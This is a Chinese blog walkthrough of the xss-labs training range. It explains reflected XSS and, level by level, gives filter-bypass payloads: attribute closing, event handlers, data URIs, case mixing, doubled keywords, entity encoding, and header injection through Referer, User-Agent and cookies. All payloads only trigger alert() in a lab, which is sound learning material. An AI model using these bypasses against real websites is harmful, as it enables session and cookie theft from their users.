XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客
该补习补习xss漏洞了
漏洞原理
网站存在 静态 和 动态 网站
xss 针对的网站 就是 动态网站
动态网站
会根据 用户的环境 与 需求 反馈出 不同的响应
静态页面
代码写死了 只会存在代码中有的内容
通过动态网站 用户体验会大大加深 但是会存在漏洞 xss
XSS 是一种注入漏洞
通过用户输入 在代码页中插入 恶意语句 从而实现注入
攻击成功 可以获取但不止 COOKIE 会话 和 隐私页面
首先我们来看看最简单
<?php
$xss = $_GET['name'];
echo $xss;
?>
然后我们通过 get 传递漏洞
<script>alert(1)</script>
xss需要通过php的输出指令来输出
我们通过做题目来继续了解吧
打开靶场
Level1 【无过滤】
我们能发现 这三个地方
然后我们回去看看源代码
能发现 我们输入什么 他就存储在源代码什么
这里就是动态的
如果和sql注入一样 我们插入恶意代码呢
<script>alert(1)</script>
这里通过 alert 来弹窗
这里 script 表示 JavaScript代码 / 表示结束了
那么这里插入后
<h2 align=center>欢迎用户test1</h2><center><img src=level1.png></center>
就变为了
<h2 align=center>欢迎用户test1<script>alert(1)</script></h2><center><img src=level1.png></center>
实现了 alert 弹窗
我们就实现了 第一题
Level2 【参数】
我们依然看看源代码
这里我们发现了 我们输入的值 被当做参数了
value="1">
这里我们就想到了 sql注入的闭合了
<script>标签
value="1">
如果我们自己将其闭合呢
我们输入 ">
就会变为
value="">">
这里 其实就是
value="">
">
然后我们构造恶意代码
value=""><script>alert(1)</script>
">
就会实现xss注入
所以payload 就是
"><script>alert(1)</script>
<img>标签
src
是资源的标签
一般
<img src="/i/eg_tulip.jpg" />
这样使用
如果读取不到 我们可以设置 onerror属性 来输出内容 这里就存在 xss
"> <img src="666" onerror=alert()> <"
onmouseout 鼠标移出图片
附属于 img 下的属性
payload为
"> <img src=666 onmouseout="alert()"> <"
onmouseover 鼠标移动到图片
"> <img src=666 onmouseover="alert()"> <"
data 伪协议
这里是利用 iframe标签
"> <iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+> <"
PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+ 为 <sricpt>alert()</sricpt>
Level3 【htmlspecialchars】
我们查看代码 没有发现和上一题有什么不一样的
所以我们去继续使用上题的payload
"><script>alert(1)</script>
发现被实体化了
并且只过滤了 <>
这里我们就需要想到是htmlspecialchars
我们去看xsslab源代码
确实是这样
这里其实预定义了转义的内容 因为单引号没有被转义 但是其实可以实现的
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
发现就是为了让 <>里面的转变为字符串 失去闭合作用
单引号绕过
这里我们需要通过 ' 绕过
因为我们的<> 会被实体化
所以我们需要运用不需要<>的payload
我们可以利用 onfocus 事件
onfocus事件
当 页面中存在 输入框等 需要存在点击的界面时
onfocus 就可以被触发
这里就存在一个很明显的例子
既然 onfocus可以出发函数 那么我们就可以通过执行
这里就可以写入payload
onfocus=javascript:alert()
这样就可以绕过 过滤 <>
那我们如何执行呢
我们输入一个 ' 时
变成了下面这个
value="" '="">
我们输入 'abcd'
变为了
value="" abcd''="">
我们输入 payload
' onfocus=javascript:alert(1) '
就会变为
value="" onfocus=javascript:alert(1) '' ="">
从而实现了闭合
所以最终payload
' onfocus=javascript:alert(1) '
Level4 【过滤><】
我们首先可以判断是否存在过滤
'"&<>
发现只有3个了 过滤了 <>
用上题目的payload
' onfocus=javascript:alert(1) '
失效了
我们看看代码
进行修改payload
" onfocus=javascript:alert(1) '
Level5 【过滤script】
我们使用第一题的payload直接上去
发现 script 变为了 scr_ipt
我们去看看源代码
发现过滤了 on 和 script
所以我们使用其他方式
a herf
<html
<p>123</p>
<a href=javascript:alert("yes")>xxxxxx</a>
</html>
我们先给出payload
然后我们解释一下
通过 a标签 然后点击 我们可以实现跳转等操作
既然可以实现跳转 那我们也可以实现 执行JavaScript命令
我们开始做题
我们先传入内容
<a href=javascript:alert()>xxxxxx</a>
我们需要闭合 所以修改paylaod
"> <a href=javascript:alert()>xxxxx</a>
还需要将后面的 "> 闭合
所以最后的payload为
"> <a href=javascript:alert()>xxxxx</a> <"
点击即可实现
Level6 【过滤 a href】
我们把上面的 payload 丢进去看看
发现 过滤 了 a href
但是放出来了 大小写 所以我们可以
大小写绕过
"> <ScRipt>alert()</ScRipt> <"
或者
"> <a HrEf=javascript:alert()>xxxx</a> <"
又或者
" Onfocus=javascript:alert() "
Level7 【替换为空】
我们先上关键词看看
" Onfocus <ScRipt> <a Href=javascript:alert()>
能发现返回值是
" focus <> <a =java:alert()>
全部替换为空了
这里我们使用
双写绕过
开始构造
" OOnnfocus=javascscriptript:alert() "
"> <a hrhrefef=javascscriptript:alert()>xx</a> <"
Level8 【a href标签自动url解码】
更新一下 关键词
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
看看过滤了啥
这里为什么我们无法直接通过input来xss 因为存在 htmlspecialchars函数 会吧我们输入的内容
直接作为字符串输出
引号被过滤了 无法实现闭合
所以没有用了
我们需要通过下面的 a href标签输出了
但是下面又存在过滤
我们如何实现呢
其实
a href 存在自动解密 url的功能
所以我们只需要通过编码绕过 过滤 如何通过 a href 编码执行即可
javascript:alert()
javascript:alert()
unicode编码
直接输入即可
然后点击 友情链接即可
Level9 【判断http在不在标签内】
我们看看源代码
strpos 查看 http://是否在 输入里面 如果不在 输出不合法
这里就好办了
我们通过注释输入http://即可
运用上一道题目的payload
javascript:alert() /* http:// */
这里就看到 http:// 是被注释掉了
Level10 【闭合 fake hidden】
看看源代码
发现需要另一个来传递
我们这里并且过滤了 <>
但是其实还是很简单的
" onfocus=javascript:alert() " type=text
Level11 【Referer注入】
我们再来看看源代码
通过referer
为什么无法通过 t_sort
因为 htmlspecialchars 无法闭合 " 会被实体化
所以我们通过 referer来进行 xss
referer 的内容 就和 上面一样
" onfocus=javascript:alert() " type=text
Level12 【UA注入】
" onfocus=javascript:alert() " type=text
Level13 【cookie注入】
" onfocus=javascript:alert() " type=text
Level14 【通过图片属性实现xss】
这里我的小皮环境有问题 无法实现文件上传
这里 主要就是通过 图片的属性解析 然后我们写入 xss语句
这样就会报错
[靶场] XSS-Labs 14-20_3hex的博客-CSDN博客
Level15 【通过src访问文件执行】
这里的意思就是src是访问了 一个图片
那我们可以通过这个src访问第一题的php 然后通过 第一题的php来执行
但是我还是无法实现 可能我php没开启属性
xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客
Level16 【绕过空格】
XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客
查看代码
发现过滤了 空格 和 /
首先就是查找一个不需要/的触发标签
这里我选择
<video><source onerror="alert(1)">
其次需要绕过空格
我们可以首先看看 这两个空格是什么编码
那么这里面我们可以使用 %0a绕过
所以payload就是
<video><source%0Aonerror="alert(1)">
Level17
后面是 flash的插件了
我觉得没有必要做了 因为现在 flash已经被大多数浏览器抛弃了